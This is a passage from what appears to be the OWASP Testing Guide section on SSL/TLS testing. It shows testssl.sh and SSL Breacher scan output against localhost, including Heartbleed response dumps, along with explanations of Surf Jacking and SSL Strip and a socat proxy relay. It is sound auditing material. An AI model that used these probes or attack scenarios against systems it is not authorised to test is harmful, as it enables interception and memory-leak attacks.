[0x05] RC4-SHA RSA RC4 128<br />
<br />
RC4 is kind of broken, for e.g. IE6 consider 0x13 or 0x0a<br />
<br />
--> Testing HTTP Header response <br />
<br />
HSTS no <br />
Server Apache<br />
Application (None)<br />
<br />
--> Testing (Perfect) Forward Secrecy (P)FS) <br />
<br />
no PFS available <br />
<br />
Done now (2014-04-17 15:07) ---> owasp.org:443 <---<br />
<br />
user@myhost: % <br />
<br />
<br />
</pre><br />
<br />
<br />
STARTTLS would be tested via <code>testssl.sh -t smtp.gmail.com:587 smtp</code>, each ciphers with <code>testssl -e <target></code>, each ciphers per protocol with <code>testssl -E <target></code>. To just display what local ciphers that are installed for openssl see <code>testssl -V</code>. For a thorough check it is best to dump the supplied OpenSSL binaries in the path or the one of testssl.sh.<br />
<br />
<br />
The interesting thing is if a tester looks at the sources they learn how features are tested, see e.g. Example 4. What is even better is that it does the whole handshake for heartbleed in pure /bin/bash with /dev/tcp sockets -- no piggyback perl/python/you name it. <br />
<br />
<br />
Additionally it provides a prototype (via "testssl.sh -V") of mapping to RFC cipher suite names to OpenSSL ones. The tester needs the file mapping-rfc.txt in same directory.<br />
<br />
<br />
====Example 8. Testing SSL/TLS with SSL Breacher ====<br />
This tool is combination of several other tools plus some additional checks in complementing most comprehensive SSL tests.<br />
It supports the following checks:<br />
#HeartBleed<br />
#ChangeCipherSpec Injection<br />
#BREACH <br />
#BEAST <br />
#Forward Secrecy support<br />
#RC4 support<br />
#CRIME & TIME (If CRIME is detected, TIME will also be reported)<br />
#Lucky13<br />
#HSTS: Check for implementation of HSTS header<br />
# HSTS: Reasonable duration of MAX-AGE <br />
# HSTS: Check for SubDomains support<br />
#Certificate expiration<br />
#Insufficient public key-length<br />
#Host-name mismatch<br />
#Weak Insecure Hashing Algorithm (MD2, MD4, MD5)<br />
#SSLv2 support<br />
#Weak ciphers check<br />
#Null Prefix in certificate<br />
#HTTPS Stripping (aka Surf Jacking)<br />
#Non-SSL elements/contents embedded in SSL page<br />
#Cache-Control<br />
<br />
<br />
<pre><br />
pentester@r00ting: % breacher.sh https://localhost/<br />
<br />
Host Info:<br />
==============<br />
Host : localhost<br />
Port : 443<br />
Certificate Validation : false<br />
<br />
<br />
<br />
Certificate Info:<br />
==================<br />
Type: Domain Validation Certificate (i.e. NON-Extended Validation Certificate)<br />
Expiration Date: Sat Nov 09 07:48:47 SGT 2019<br />
Signature Hash Algorithm: SHA1withRSA<br />
Public key: Sun RSA public key, 1024 bits<br />
modulus: 135632964843555009910164098161004086259135236815846778903941582882908611097021488277565732851712895057227849656364886898196239901879569635659861770850920241178222686670162318147175328086853962427921575656093414000691131757099663322369656756090030190369923050306668778534926124693591013220754558036175189121517<br />
public exponent: 65537<br />
Signed for: CN=localhost<br />
Signed by: CN=localhost<br />
Total certificate chain: 1<br />
<br />
(Use -Djavax.net.debug=ssl:handshake:verbose for debugged output.)<br />
<br />
=====================================<br />
<br />
Certificate Validation:<br />
===============================<br />
[!] Signed using Insufficient public key length 1024 bits<br />
(Refer to http://www.keylength.com/ for details)<br />
[!] Certificate Signer: Self-signed/Untrusted CA - verified with Firefox & Java ROOT CAs.<br />
<br />
=====================================<br />
<br />
Loading module: Hut3 Cardiac Arrest ...<br />
<br />
Checking localhost:443 for Heartbleed bug (CVE-2014-0160) ...<br />
<br />
[-] Connecting to 127.0.0.1:443 using SSLv3<br />
[-] Sending ClientHello<br />
[-] ServerHello received<br />
[-] Sending Heartbeat<br />
[Vulnerable] Heartbeat response was 16384 bytes instead of 3! 127.0.0.1:443 is vulnerable over SSLv3<br />
[-] Displaying response (lines consisting entirely of null bytes are removed):<br />
<br />
0000: 02 FF FF 08 03 00 53 48 73 F0 7C CA C1 D9 02 04 ......SHs.|.....<br />
0010: F2 1D 2D 49 F5 12 BF 40 1B 94 D9 93 E4 C4 F4 F0 ..-I...@........<br />
0020: D0 42 CD 44 A2 59 00 02 96 00 00 00 01 00 02 00 .B.D.Y..........<br />
0060: 1B 00 1C 00 1D 00 1E 00 1F 00 20 00 21 00 22 00 .......... .!.".<br />
0070: 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00 #.$.%.&.'.(.).*.<br />
0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00 +.,.-.../.0.1.2.<br />
0090: 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3A 00 3.4.5.6.7.8.9.:.<br />
00a0: 3B 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 42 00 ;.<.=.>.?.@.A.B.<br />
00b0: 43 00 44 00 45 00 46 00 60 00 61 00 62 00 63 00 C.D.E.F.`.a.b.c.<br />
00c0: 64 00 65 00 66 00 67 00 68 00 69 00 6A 00 6B 00 d.e.f.g.h.i.j.k.<br />
00d0: 6C 00 6D 00 80 00 81 00 82 00 83 00 84 00 85 00 l.m.............<br />
01a0: 20 C0 21 C0 22 C0 23 C0 24 C0 25 C0 26 C0 27 C0 .!.".#.$.%.&.'.<br />
01b0: 28 C0 29 C0 2A C0 2B C0 2C C0 2D C0 2E C0 2F C0 (.).*.+.,.-.../.<br />
01c0: 30 C0 31 C0 32 C0 33 C0 34 C0 35 C0 36 C0 37 C0 0.1.2.3.4.5.6.7.<br />
01d0: 38 C0 39 C0 3A C0 3B C0 3C C0 3D C0 3E C0 3F C0 8.9.:.;.<.=.>.?.<br />
01e0: 40 C0 41 C0 42 C0 43 C0 44 C0 45 C0 46 C0 47 C0 @.A.B.C.D.E.F.G.<br />
01f0: 48 C0 49 C0 4A C0 4B C0 4C C0 4D C0 4E C0 4F C0 H.I.J.K.L.M.N.O.<br />
0200: 50 C0 51 C0 52 C0 53 C0 54 C0 55 C0 56 C0 57 C0 P.Q.R.S.T.U.V.W.<br />
0210: 58 C0 59 C0 5A C0 5B C0 5C C0 5D C0 5E C0 5F C0 X.Y.Z.[.\.].^._.<br />
0220: 60 C0 61 C0 62 C0 63 C0 64 C0 65 C0 66 C0 67 C0 `.a.b.c.d.e.f.g.<br />
0230: 68 C0 69 C0 6A C0 6B C0 6C C0 6D C0 6E C0 6F C0 h.i.j.k.l.m.n.o.<br />
0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0 p.q.r.s.t.u.v.w.<br />
0250: 78 C0 79 C0 7A C0 7B C0 7C C0 7D C0 7E C0 7F C0 x.y.z.{.|.}.~...<br />
02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I...........4.<br />
02d0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2...............<br />
0300: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00 ....#...........<br />
<br />
[-] Closing connection<br />
<br />
[-] Connecting to 127.0.0.1:443 using TLSv1.0<br />
[-] Sending ClientHello<br />
[-] ServerHello received<br />
[-] Sending Heartbeat<br />
[Vulnerable] Heartbeat response was 16384 bytes instead of 3! 127.0.0.1:443 is vulnerable over TLSv1.0<br />
[-] Displaying response (lines consisting entirely of null bytes are removed):<br />
<br />
0000: 02 FF FF 08 03 01 53 48 73 F0 7C CA C1 D9 02 04 ......SHs.|.....<br />
0010: F2 1D 2D 49 F5 12 BF 40 1B 94 D9 93 E4 C4 F4 F0 ..-I...@........<br />
0020: D0 42 CD 44 A2 59 00 02 96 00 00 00 01 00 02 00 .B.D.Y..........<br />
0060: 1B 00 1C 00 1D 00 1E 00 1F 00 20 00 21 00 22 00 .......... .!.".<br />
0070: 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00 #.$.%.&.'.(.).*.<br />
0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00 +.,.-.../.0.1.2.<br />
0090: 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3A 00 3.4.5.6.7.8.9.:.<br />
00a0: 3B 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 42 00 ;.<.=.>.?.@.A.B.<br />
00b0: 43 00 44 00 45 00 46 00 60 00 61 00 62 00 63 00 C.D.E.F.`.a.b.c.<br />
00c0: 64 00 65 00 66 00 67 00 68 00 69 00 6A 00 6B 00 d.e.f.g.h.i.j.k.<br />
00d0: 6C 00 6D 00 80 00 81 00 82 00 83 00 84 00 85 00 l.m.............<br />
01a0: 20 C0 21 C0 22 C0 23 C0 24 C0 25 C0 26 C0 27 C0 .!.".#.$.%.&.'.<br />
01b0: 28 C0 29 C0 2A C0 2B C0 2C C0 2D C0 2E C0 2F C0 (.).*.+.,.-.../.<br />
01c0: 30 C0 31 C0 32 C0 33 C0 34 C0 35 C0 36 C0 37 C0 0.1.2.3.4.5.6.7.<br />
01d0: 38 C0 39 C0 3A C0 3B C0 3C C0 3D C0 3E C0 3F C0 8.9.:.;.<.=.>.?.<br />
01e0: 40 C0 41 C0 42 C0 43 C0 44 C0 45 C0 46 C0 47 C0 @.A.B.C.D.E.F.G.<br />
01f0: 48 C0 49 C0 4A C0 4B C0 4C C0 4D C0 4E C0 4F C0 H.I.J.K.L.M.N.O.<br />
0200: 50 C0 51 C0 52 C0 53 C0 54 C0 55 C0 56 C0 57 C0 P.Q.R.S.T.U.V.W.<br />
0210: 58 C0 59 C0 5A C0 5B C0 5C C0 5D C0 5E C0 5F C0 X.Y.Z.[.\.].^._.<br />
0220: 60 C0 61 C0 62 C0 63 C0 64 C0 65 C0 66 C0 67 C0 `.a.b.c.d.e.f.g.<br />
0230: 68 C0 69 C0 6A C0 6B C0 6C C0 6D C0 6E C0 6F C0 h.i.j.k.l.m.n.o.<br />
0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0 p.q.r.s.t.u.v.w.<br />
0250: 78 C0 79 C0 7A C0 7B C0 7C C0 7D C0 7E C0 7F C0 x.y.z.{.|.}.~...<br />
02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I...........4.<br />
02d0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2...............<br />
0300: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00 ....#...........<br />
<br />
[-] Closing connection<br />
<br />
[-] Connecting to 127.0.0.1:443 using TLSv1.1<br />
[-] Sending ClientHello<br />
[-] ServerHello received<br />
[-] Sending Heartbeat<br />
[Vulnerable] Heartbeat response was 16384 bytes instead of 3! 127.0.0.1:443 is vulnerable over TLSv1.1<br />
[-] Displaying response (lines consisting entirely of null bytes are removed):<br />
<br />
0000: 02 FF FF 08 03 02 53 48 73 F0 7C CA C1 D9 02 04 ......SHs.|.....<br />
0010: F2 1D 2D 49 F5 12 BF 40 1B 94 D9 93 E4 C4 F4 F0 ..-I...@........<br />
0020: D0 42 CD 44 A2 59 00 02 96 00 00 00 01 00 02 00 .B.D.Y..........<br />
0060: 1B 00 1C 00 1D 00 1E 00 1F 00 20 00 21 00 22 00 .......... .!.".<br />
0070: 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00 #.$.%.&.'.(.).*.<br />
0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00 +.,.-.../.0.1.2.<br />
0090: 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3A 00 3.4.5.6.7.8.9.:.<br />
00a0: 3B 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 42 00 ;.<.=.>.?.@.A.B.<br />
00b0: 43 00 44 00 45 00 46 00 60 00 61 00 62 00 63 00 C.D.E.F.`.a.b.c.<br />
00c0: 64 00 65 00 66 00 67 00 68 00 69 00 6A 00 6B 00 d.e.f.g.h.i.j.k.<br />
00d0: 6C 00 6D 00 80 00 81 00 82 00 83 00 84 00 85 00 l.m.............<br />
01a0: 20 C0 21 C0 22 C0 23 C0 24 C0 25 C0 26 C0 27 C0 .!.".#.$.%.&.'.<br />
01b0: 28 C0 29 C0 2A C0 2B C0 2C C0 2D C0 2E C0 2F C0 (.).*.+.,.-.../.<br />
01c0: 30 C0 31 C0 32 C0 33 C0 34 C0 35 C0 36 C0 37 C0 0.1.2.3.4.5.6.7.<br />
01d0: 38 C0 39 C0 3A C0 3B C0 3C C0 3D C0 3E C0 3F C0 8.9.:.;.<.=.>.?.<br />
01e0: 40 C0 41 C0 42 C0 43 C0 44 C0 45 C0 46 C0 47 C0 @.A.B.C.D.E.F.G.<br />
01f0: 48 C0 49 C0 4A C0 4B C0 4C C0 4D C0 4E C0 4F C0 H.I.J.K.L.M.N.O.<br />
0200: 50 C0 51 C0 52 C0 53 C0 54 C0 55 C0 56 C0 57 C0 P.Q.R.S.T.U.V.W.<br />
0210: 58 C0 59 C0 5A C0 5B C0 5C C0 5D C0 5E C0 5F C0 X.Y.Z.[.\.].^._.<br />
0220: 60 C0 61 C0 62 C0 63 C0 64 C0 65 C0 66 C0 67 C0 `.a.b.c.d.e.f.g.<br />
0230: 68 C0 69 C0 6A C0 6B C0 6C C0 6D C0 6E C0 6F C0 h.i.j.k.l.m.n.o.<br />
0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0 p.q.r.s.t.u.v.w.<br />
0250: 78 C0 79 C0 7A C0 7B C0 7C C0 7D C0 7E C0 7F C0 x.y.z.{.|.}.~...<br />
02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I...........4.<br />
02d0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2...............<br />
0300: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00 ....#...........<br />
<br />
[-] Closing connection<br />
<br />
[-] Connecting to 127.0.0.1:443 using TLSv1.2<br />
[-] Sending ClientHello<br />
[-] ServerHello received<br />
[-] Sending Heartbeat<br />
[Vulnerable] Heartbeat response was 16384 bytes instead of 3! 127.0.0.1:443 is vulnerable over TLSv1.2<br />
[-] Displaying response (lines consisting entirely of null bytes are removed):<br />
<br />
0000: 02 FF FF 08 03 03 53 48 73 F0 7C CA C1 D9 02 04 ......SHs.|.....<br />
0010: F2 1D 2D 49 F5 12 BF 40 1B 94 D9 93 E4 C4 F4 F0 ..-I...@........<br />
0020: D0 42 CD 44 A2 59 00 02 96 00 00 00 01 00 02 00 .B.D.Y..........<br />
0060: 1B 00 1C 00 1D 00 1E 00 1F 00 20 00 21 00 22 00 .......... .!.".<br />
0070: 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00 #.$.%.&.'.(.).*.<br />
0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00 +.,.-.../.0.1.2.<br />
0090: 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3A 00 3.4.5.6.7.8.9.:.<br />
00a0: 3B 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 42 00 ;.<.=.>.?.@.A.B.<br />
00b0: 43 00 44 00 45 00 46 00 60 00 61 00 62 00 63 00 C.D.E.F.`.a.b.c.<br />
00c0: 64 00 65 00 66 00 67 00 68 00 69 00 6A 00 6B 00 d.e.f.g.h.i.j.k.<br />
00d0: 6C 00 6D 00 80 00 81 00 82 00 83 00 84 00 85 00 l.m.............<br />
01a0: 20 C0 21 C0 22 C0 23 C0 24 C0 25 C0 26 C0 27 C0 .!.".#.$.%.&.'.<br />
01b0: 28 C0 29 C0 2A C0 2B C0 2C C0 2D C0 2E C0 2F C0 (.).*.+.,.-.../.<br />
01c0: 30 C0 31 C0 32 C0 33 C0 34 C0 35 C0 36 C0 37 C0 0.1.2.3.4.5.6.7.<br />
01d0: 38 C0 39 C0 3A C0 3B C0 3C C0 3D C0 3E C0 3F C0 8.9.:.;.<.=.>.?.<br />
01e0: 40 C0 41 C0 42 C0 43 C0 44 C0 45 C0 46 C0 47 C0 @.A.B.C.D.E.F.G.<br />
01f0: 48 C0 49 C0 4A C0 4B C0 4C C0 4D C0 4E C0 4F C0 H.I.J.K.L.M.N.O.<br />
0200: 50 C0 51 C0 52 C0 53 C0 54 C0 55 C0 56 C0 57 C0 P.Q.R.S.T.U.V.W.<br />
0210: 58 C0 59 C0 5A C0 5B C0 5C C0 5D C0 5E C0 5F C0 X.Y.Z.[.\.].^._.<br />
0220: 60 C0 61 C0 62 C0 63 C0 64 C0 65 C0 66 C0 67 C0 `.a.b.c.d.e.f.g.<br />
0230: 68 C0 69 C0 6A C0 6B C0 6C C0 6D C0 6E C0 6F C0 h.i.j.k.l.m.n.o.<br />
0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0 p.q.r.s.t.u.v.w.<br />
0250: 78 C0 79 C0 7A C0 7B C0 7C C0 7D C0 7E C0 7F C0 x.y.z.{.|.}.~...<br />
02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I...........4.<br />
02d0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2...............<br />
0300: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00 ....#...........<br />
<br />
[-] Closing connection<br />
<br />
<br />
<br />
[!] Vulnerable to Heartbleed bug (CVE-2014-0160) mentioned in http://heartbleed.com/<br />
[!] Vulnerability Status: VULNERABLE<br />
<br />
<br />
=====================================<br />
<br />
Loading module: CCS Injection script by TripWire VERT ...<br />
<br />
Checking localhost:443 for OpenSSL ChangeCipherSpec (CCS) Injection bug (CVE-2014-0224) ...<br />
<br />
[!] The target may allow early CCS on TLSv1.2<br />
[!] The target may allow early CCS on TLSv1.1<br />
[!] The target may allow early CCS on TLSv1<br />
[!] The target may allow early CCS on SSLv3<br />
<br />
<br />
[-] This is an experimental detection script and does not definitively determine vulnerable server status.<br />
<br />
[!] Potentially vulnerable to OpenSSL ChangeCipherSpec (CVE-2014-0224) mentioned in http://ccsinjection.lepidum.co.jp/<br />
[!] Vulnerability Status: Possible<br />
<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for HTTP Compression support against BREACH vulnerability (CVE-2013-3587) ...<br />
<br />
[*] HTTP Compression: DISABLED<br />
[*] Immune from BREACH attack mentioned in https://media.blackhat.com/us-13/US-13-Prado-SSL-Gone-in-30-seconds-A-BREACH-beyond-CRIME-WP.pdf<br />
[*] Vulnerability Status: No<br />
<br />
<br />
--------------- RAW HTTP RESPONSE ---------------<br />
<br />
HTTP/1.1 302 Found<br />
Date: Sat, 19 Jul 2014 17:54:32 GMT<br />
Server: Apache/2.4.3 (Win32) OpenSSL/1.0.1c PHP/5.4.7<br />
X-Powered-By: PHP/5.4.7<br />
Location: https://localhost/xampp/<br />
Content-Length: 0<br />
Connection: close<br />
Content-Type: text/html<br />
<br />
<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for correct use of Strict Transport Security (STS) response header (RFC6797) ...<br />
<br />
[!] STS response header: NOT PRESENT<br />
[!] Vulnerable to MITM threats mentioned in https://www.owasp.org/index.php/HTTP_Strict_Transport_Security#Threats<br />
[!] Vulnerability Status: VULNERABLE<br />
<br />
<br />
--------------- RAW HTTP RESPONSE ---------------<br />
<br />
HTTP/1.1 302 Found<br />
Date: Sat, 19 Jul 2014 17:54:32 GMT<br />
Server: Apache/2.4.3 (Win32) OpenSSL/1.0.1c PHP/5.4.7<br />
X-Powered-By: PHP/5.4.7<br />
Location: https://localhost/xampp/<br />
Content-Length: 0<br />
Connection: close<br />
Content-Type: text/html<br />
<br />
<br />
<br />
=====================================<br />
<br />
Checking localhost for HTTP support against HTTPS Stripping attack ...<br />
<br />
[!] HTTP Support on port [80] : SUPPORTED<br />
[!] Vulnerable to HTTPS Stripping attack mentioned in https://www.blackhat.com/presentations/bh-dc-09/Marlinspike/BlackHat-DC-09-Marlinspike-Defeating-SSL.pdf<br />
[!] Vulnerability Status: VULNERABLE<br />
<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for HTTP elements embedded in SSL page ...<br />
<br />
[*] HTTP elements embedded in SSL page: NOT PRESENT<br />
[*] Immune from MITM malicious content injection attack<br />
[*] Vulnerability Status: No<br />
<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for ROBUST use of anti-caching mechanism ...<br />
<br />
[!] Cache Control Directives: NOT PRESENT<br />
[!] Browsers, Proxies and other Intermediaries will cache SSL page and sensitive information will be leaked.<br />
[!] Vulnerability Status: VULNERABLE<br />
<br />
<br />
-------------------------------------------------<br />
<br />
<br />
Robust Solution (Is it Troublesome for you to add more things for your site security?):<br />
<br />
- Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0, max-age=0, s-maxage=0<br />
- Ref: https://www.owasp.org/index.php/Testing_for_Browser_cache_weakness_(OWASP-AT-007)<br />
http://msdn.microsoft.com/en-us/library/ms533020(v=vs.85).aspx<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for ECDHE/DHE ciphers against FORWARD SECRECY support ...<br />
<br />
[*] Forward Secrecy: SUPPORTED<br />
[*] Connected using cipher - TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA on protocol - TLSv1<br />
[*] Attackers will NOT be able to decrypt sniffed SSL packets even if they have compromised private keys.<br />
[*] Vulnerability Status: No<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for RC4 support (CVE-2013-2566) ...<br />
<br />
[!] RC4: SUPPORTED<br />
[!] Vulnerable to MITM attack described in http://www.isg.rhul.ac.uk/tls/<br />
[!] Vulnerability Status: VULNERABLE<br />
<br />
<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for TLS 1.1 support ...<br />
<br />
Checking localhost:443 for TLS 1.2 support ...<br />
<br />
[*] TLS 1.1, TLS 1.2: SUPPORTED<br />
[*] Immune from BEAST attack mentioned in http://www.infoworld.com/t/security/red-alert-https-has-been-hacked-174025<br />
[*] Vulnerability Status: No<br />
<br />
<br />
<br />
=====================================<br />
<br />
Loading module: sslyze by iSecPartners ...<br />
<br />
Checking localhost:443 for Session Renegotiation support (CVE-2009-3555,CVE-2011-1473,CVE-2011-5094) ...<br />
<br />
[*] Secure Client-Initiated Renegotiation : NOT SUPPORTED<br />
[*] Mitigated from DOS attack (CVE-2011-1473,CVE-2011-5094) mentioned in https://www.thc.org/thc-ssl-dos/<br />
[*] Vulnerability Status: No<br />
<br />
<br />
[*] INSECURE Client-Initiated Renegotiation : NOT SUPPORTED<br />
[*] Immune from TLS Plain-text Injection attack (CVE-2009-3555) - http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3555 <br />
[*] Vulnerability Status: No<br />
<br />
<br />
=====================================<br />
<br />
Loading module: TestSSLServer by Thomas Pornin ...<br />
<br />
Checking localhost:443 for SSL version 2 support ...<br />
<br />
[*] SSL version 2 : NOT SUPPORTED<br />
[*] Immune from SSLv2-based MITM attack <br />
[*] Vulnerability Status: No<br />
<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for LANE (LOW,ANON,NULL,EXPORT) weak ciphers support ...<br />
<br />
Supported LANE cipher suites:<br />
SSLv3<br />
RSA_EXPORT_WITH_RC4_40_MD5<br />
RSA_EXPORT_WITH_RC2_CBC_40_MD5<br />
RSA_EXPORT_WITH_DES40_CBC_SHA<br />
RSA_WITH_DES_CBC_SHA<br />
DHE_RSA_EXPORT_WITH_DES40_CBC_SHA<br />
DHE_RSA_WITH_DES_CBC_SHA<br />
TLS_ECDH_anon_WITH_RC4_128_SHA<br />
TLS_ECDH_anon_WITH_3DES_EDE_CBC_SHA<br />
TLS_ECDH_anon_WITH_AES_256_CBC_SHA<br />
(TLSv1.0: same as above)<br />
(TLSv1.1: same as above)<br />
(TLSv1.2: same as above)<br />
<br />
<br />
[!] LANE ciphers : SUPPORTED<br />
[!] Attackers may be ABLE to recover encrypted packets.<br />
[!] Vulnerability Status: VULNERABLE<br />
<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for GCM/CCM ciphers support against Lucky13 attack (CVE-2013-0169) ...<br />
<br />
Supported GCM cipher suites against Lucky13 attack:<br />
TLSv1.2<br />
TLS_RSA_WITH_AES_128_GCM_SHA256<br />
TLS_RSA_WITH_AES_256_GCM_SHA384<br />
TLS_DHE_RSA_WITH_AES_128_GCM_SHA256<br />
TLS_DHE_RSA_WITH_AES_256_GCM_SHA384<br />
TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256<br />
TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384<br />
<br />
<br />
[*] GCM/CCM ciphers : SUPPORTED<br />
[*] Immune from Lucky13 attack mentioned in http://www.isg.rhul.ac.uk/tls/Lucky13.html<br />
[*] Vulnerability Status: No<br />
<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for TLS Compression support against CRIME (CVE-2012-4929) & TIME attack ...<br />
<br />
[*] TLS Compression : DISABLED<br />
[*] Immune from CRIME & TIME attack mentioned in https://media.blackhat.com/eu-13/briefings/Beery/bh-eu-13-a-perfect-crime-beery-wp.pdf<br />
[*] Vulnerability Status: No<br />
<br />
<br />
=====================================<br />
<br />
[+] Breacher finished scanning in 27 seconds.<br />
[+] Get your latest copy at http://yehg.net/<br />
</pre><br />
<br />
===Testing SSL certificate validity – client and server===<br />
Firstly upgrade the browser because CA certs expire and in every release of the browser these are renewed. Examine the validity of the certificates used by the application. Browsers will issue a warning when encountering expired certificates, certificates issued by untrusted CAs, and certificates which do not match name wise with the site to which they should refer. <br />
<br />
<br />
By clicking on the padlock that appears in the browser window when visiting an HTTPS site, testers can look at information related to the certificate – including the issuer, period of validity, encryption characteristics, etc. If the application requires a client certificate, that tester has probably installed one to access it. Certificate information is available in the browser by inspecting the relevant certificate(s) in the list of the installed certificates. <br />
<br />
<br />
These checks must be applied to all visible SSL-wrapped communication channels used by the application. Though this is the usual https service running on port 443, there may be additional services involved depending on the web application architecture and on deployment issues (an HTTPS administrative port left open, HTTPS services on non-standard ports, etc.). Therefore, apply these checks to all SSL-wrapped ports which have been discovered. For example, the nmap scanner features a scanning mode (enabled by the –sV command line switch) which identifies SSL-wrapped services. The Nessus vulnerability scanner has the capability of performing SSL checks on all SSL/TLS-wrapped services. <br />
<br />
<br />
====Example 1. Testing for certificate validity (manually)====<br />
Rather than providing a fictitious example, this guide includes an anonymized real-life example to stress how frequently one stumbles on https sites whose certificates are inaccurate with respect to naming. The following screenshots refer to a regional site of a high-profile IT company. <br />
<br />
We are visiting a .it site and the certificate was issued to a .com site. Internet Explorer warns that the name on the certificate does not match the name of the site. <br />
<br />
[[Image:SSL Certificate Validity Testing IE Warning.gif]]<br />
<br />
''Warning issued by Microsoft Internet Explorer''<br />
<br />
The message issued by Firefox is different. Firefox complains because it cannot ascertain the identity of the .com site the certificate refers to because it does not know the CA which signed the certificate. In fact, Internet Explorer and Firefox do not come pre-loaded with the same list of CAs. Therefore, the behavior experienced with various browsers may differ.<br />
<br />
[[Image:SSL Certificate Validity Testing Firefox Warning.gif]]<br />
<br />
''Warning issued by Mozilla Firefox''<br />
<br />
===Testing for other vulnerabilities===<br />
As mentioned previously, there are other types of vulnerabilities that are not related with the SSL/TLS protocol used, the cipher suites or Certificates. Apart from other vulnerabilities discussed in other parts of this guide, a vulnerability exists when the server provides the website both with the HTTP and HTTPS protocols, and permits an attacker to force a victim into using a non-secure channel instead of a secure one.<br />
<br />
<br />
====Surf Jacking====<br />
The Surf Jacking attack [7] was first presented by Sandro Gauci and permits to an attacker to hijack an HTTP session even when the victim’s connection is encrypted using SSL or TLS.<br />
<br />
<br />
The following is a scenario of how the attack can take place:<br />
* Victim logs into the secure website at https://somesecuresite/.<br />
* The secure site issues a session cookie as the client logs in.<br />
* While logged in, the victim opens a new browser window and goes to http:// examplesite/<br />
* An attacker sitting on the same network is able to see the clear text traffic to http://examplesite.<br />
* The attacker sends back a "301 Moved Permanently" in response to the clear text traffic to http://examplesite. The response contains the header “Location: http://somesecuresite /”, which makes it appear that examplesite is sending the web browser to somesecuresite. Notice that the URL scheme is HTTP not HTTPS.<br />
* The victim's browser starts a new clear text connection to http://somesecuresite/ and sends an HTTP request containing the cookie in the HTTP header in clear text<br />
* The attacker sees this traffic and logs the cookie for later use.<br />
<br />
<br />
To test if a website is vulnerable carry out the following tests:<br />
# Check if website supports both HTTP and HTTPS protocols<br />
# Check if cookies do not have the “Secure” flag<br />
<br />
<br />
====SSL Strip====<br />
Some applications supports both HTTP and HTTPS, either for usability or so users can type both addresses and get to the site. Often users go into an HTTPS website from link or a redirect. Typically personal banking sites have a similar configuration with an iframed log in or a form with action attribute over HTTPS but the page under HTTP.<br />
<br />
<br />
An attacker in a privileged position - as described in SSL strip [8] - can intercept traffic when the user is in the http site and manipulate it to get a Man-In-The-Middle attack under HTTPS. An application is vulnerable if it supports both HTTP and HTTPS.<br />
<br />
<br />
===Testing via HTTP proxy===<br />
<br />
Inside corporate environments testers can see services that are not directly accessible and they can access them only via HTTP proxy using the CONNECT method [36]. Most of the tools will not work in this scenario because they try to connect to the desired tcp port to start the SSL/TLS handshake. With the help of relaying software such as socat [37] testers can enable those tools for use with services behind an HTTP proxy.<br />
<br />
<br />
====Example 8. Testing via HTTP proxy==== <br />
<br />
To connect to destined.application.lan:443 via proxy 10.13.37.100:3128 run socat as follows:<br />
<pre><br />
$ socat TCP-LISTEN:9999,reuseaddr,fork PROXY:10.13.37.100:destined.application.lan:443,proxyport=3128<br />
</pre><br />
<br />
<br />
Then the tester can target all other tools to localhost:9999:<br />
<pre><br />
$ openssl s_client -connect localhost:9999<br />
</pre><br />
<br />
<br />
All connections to localhost:9999 will be effectively relayed by socat via proxy to destined.application.lan:443.<br />
<br />
<br />
== Gray Box testing and example ==<br />
<br />
===Testing for Weak SSL/TLS Cipher Suites===<br />
Check the configuration of the web servers that provide https services. If the web application provides other SSL/TLS wrapped services, these should be checked as well. <br />
<br />
<br />
====Example 9. Windows Server==== <br />
Check the configuration on a Microsoft Windows Server (2000, 2003 and 2008) using the registry key:<br />
<pre>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\</pre><br />
